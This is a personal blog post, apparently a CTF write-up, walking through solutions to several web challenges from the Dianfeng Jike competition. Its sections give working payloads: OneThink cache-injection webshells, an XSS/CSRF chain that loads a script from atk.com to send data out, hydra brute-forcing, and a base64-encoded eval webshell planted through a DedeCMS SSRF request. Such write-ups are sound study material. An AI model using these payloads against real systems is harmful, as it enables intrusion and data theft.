Sky's blog

巅峰极客-Web补题

Word count: 1,217 / Reading time: 5 min
2018/07/23 Share

前言

不得不说,一段时间不打比赛,竞技状态有了明显的下降
更可气的是,竟然打了一下午比赛就发烧了= =
哎,锻炼身体也很重要啊,废话不多说,开始补题

巅峰极客—pentest

这题猜到是Metinfo的重装攻击
但是试了删除方法不行,后来才知道是要利用file/file.php

然后就是常规的重装攻击
心态崩了= =

巅峰极客—A Simple Cms

不难发现www.zip的文件泄露
容易发现是Onethink CMS
是用thinkphp框架写的
搜索后可发现已知漏洞
https://bbs.ichunqiu.com/thread-4918-1-1.html
容易发现,该CMS存在固定缓存文件名
2bb202459c30a1628513f40ab22fa01a.php
请求文件,发现文件确实存在,但是利用缓存漏洞进行攻击
访问该页面却没有反应
那么我想到的就是去查看相关的代码
找到

1
./ThinkPHP/Library/Think/Cache/Driver/File.class.php

那么应该是这个文件被修改过了,于是和源代码diff了一下

不难发现,这里的文件名做了改动
于是我们将2bb202459c30a1628513f40ab22fa01a又进行了一次md5
得到最后的文件名
onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php
访问缓存目录
/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php
发现确实存在该文件
于是注册了一下%0aphpinfo();//的用户名的用户
然后登陆
发现成功

于是进行getshell
注册两个用户

1
2
%0d%0a$a=$_GET[sky];//
%0d%0aeval($a);//

依次登陆
然后即可利用shell去获取flag

1
/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php?sky=system('cat /tmp/flag');

巅峰即可—Online Mysql Run

题目有2个功能
1.进行数据库的增删改查
2.可以让服务器去请求你输入的url
第一个功能遍历数据库无果,发现没有重要数据
但是关键点在于,数据库的查询结果会经过html输出在前端
那么如果我们查询的是带有xss代码的数据,是否可以触发xss呢?
所以尝试

然后使用

发现xss成功
那么选择

1
http://xsspt.com/

打一下cookie试试
发现返回的referer里有地址

1
http://127.0.0.1/admin_zzzz666.php


但是直接访问无果

1
403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php

\
这里选择xss平台的源码获取
然后将生成的恶意代码放入以下evil_hex

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<div>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/runsql.php" name = 'form1' method="POST">
<input type="hidden" name="sql" value="select unhex('evil_hex')" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
setTimeout("form1.submit();",10);
</script>
</div>
</div>

则可以得到页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php
<!DOCTYPE html>
<div>
<head>
<title>Online Mysql Run</title>
</head>
<div>

<h3>Admin Index:</h3>

<img src="./static/img/iamsecret_555.jpg">

I am l3m0n tree.

</div>
</div>

看来flag是

1
./static/img/iamsecret_555.jpg

但是直接访问依旧是403
利用工具https://github.com/Lz1y/frame2canvas
可以获得图片内容
payload

1
<iframe id="myIframe" src="admin_zzzz666.php"></iframe><script src="//atk.com/atk.js"></script>

同样进行16进制编码后放入evil_hex
然后即可在vps上的监听得到base64
解码得到

巅峰极客—BabyWeb

1.扫描端口发现3306开放
2.利用hydra爆破,得到密码1q2w3e4r5t6y
3.连入数据库后可以找到账号密码`BabyWeb@my.lol/babyweb@19904.登陆后就是bypass upload 去getshell 这里用到的是上传.htaccess`的常规操作

上传.abc结尾的后缀即可被解析为.php
于是可以getshell

巅峰极客—DedeFun

题目描述

所以显然是要想办法XSS或者SSRF去伪造127.0.0.1的
因为$_SERVER['REMOTE_ADDR']是不可伪造的
其中

1
uploadsafe.inc.php

使用了getimagesize()来判断图片
其获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload
那么可以尝试

让其去请求一个外部链接

即可导致SSRF
那么利用这个ssrf漏洞,即可去getshell
构造恶意代码

1
<?php eval($_POST['c']);?>

然后base64一下

1
file_put_contents('uploads/userup/666.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4xMjM='));

再base64一下

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /tags.php HTTP/1.1
Host: 106.75.35.230:9002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KH TML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=3mkbktjhmk7j444or2m71g9ce4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 308

dopost=save&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif&_FILES[b4dboy][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=eval(base64_dec ode(ZmlsZV9wdXRfY29udGVudHMoJ3VwbG9hZHMvdXNlcnVwLzY2Ni5waHAnLGJhc2U2NF 9kZWNvZGUoJ1BEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTW5YU2s3UHo0eE1qTT0nKSk7));

即可getshell

后记

挺有意思的比赛,除了自己菜没什么好说的,可以学到不少东西
继续努力Orz

CATALOG
  1. 1. 前言
  2. 2. 巅峰极客—pentest
  3. 3. 巅峰极客—A Simple Cms
  4. 4. 巅峰即可—Online Mysql Run
  5. 5. 巅峰极客—BabyWeb
  6. 6. 巅峰极客—DedeFun
  7. 7. 后记